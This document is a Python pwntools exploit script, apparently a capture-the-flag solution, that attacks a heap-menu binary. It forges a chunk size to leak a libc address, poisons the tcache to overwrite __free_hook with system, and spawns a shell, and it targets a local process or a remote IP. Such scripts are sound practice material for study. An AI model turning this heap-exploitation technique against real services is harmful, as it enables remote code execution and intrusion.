1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| #coding:utf-8 from pwn import * from LibcSearcher import * import time, sys, base64
context.os = 'linux' context.arch = 'amd64' # context.arch = 'i386' context.log_level = 'debug'
# 1 pro # 2 remote # 3 127 debug = 1 filename = 'pwn1'
if debug == 1 : p = process(filename) if debug == 2: p = remote('47.104.143.202',43359) if debug == 3: p = remote('127.0.0.1',12345) #23946
elf = ELF('./pwn1') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def cmd(index): p.sendlineafter('>>',str(index))
def add(index,size): cmd(1) p.sendlineafter('I:>>',str(index)) p.sendlineafter('S:>>',str(size))
def edit(index,content): cmd(2) p.sendlineafter('I:>>',str(index)) p.sendlineafter('V:>>',content)
def show(index): cmd(3) p.sendlineafter('I:>>',str(index))
def free(index): cmd(4) p.sendlineafter('I:>>',str(index))
#print(hex(libc.sym['_IO_2_1_stdin_']))
add(0,0x30) add(1,0x90) add(2,0x90) add(3,0x90) add(4,0x90) add(5,0x90) add(6,0x90)
add(7,0x50)
add(8,0x90)
payload = b'a'*0x30 + p64(0)+p64(0x421) edit(0,payload) # gdb.attach(p)
free(1) # gdb.attach(p) add(9,0x80)
show(9) p.recvuntil('\n') # malloc_hook_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 1104 -0x10 malloc_hook_addr=u64(p.recvline(keepends=False).ljust(8,b'\x00'))-1104-0x10 log.success('malloc_hook_addr: ' + hex(malloc_hook_addr))
libc_base = malloc_hook_addr - libc.sym['__malloc_hook'] fun=libc_base+0x1ebce0 print(hex(fun))
system_addr = libc_base + libc.sym['system'] one = [0xe6c7e,0xe6c81,0xe6c84] one_gadget = libc_base + one[2] free_hook=libc_base +libc.sym['__free_hook']
log.success('system_addr: ' + hex(system_addr)) log.success('one_gadget: ' + hex(one_gadget)) add(10,0x80) free(10) #free(6) free(9) edit(0,b'a'*0x38+p64(0x91)+p64(free_hook)) add(11,0x80) edit(11,'/bin/sh\x00') add(12,0x80) edit(12,p64(system_addr)) gdb.attach(p) #add(13,0x20) free(11) #gdb.attach(p) p.interactive()
|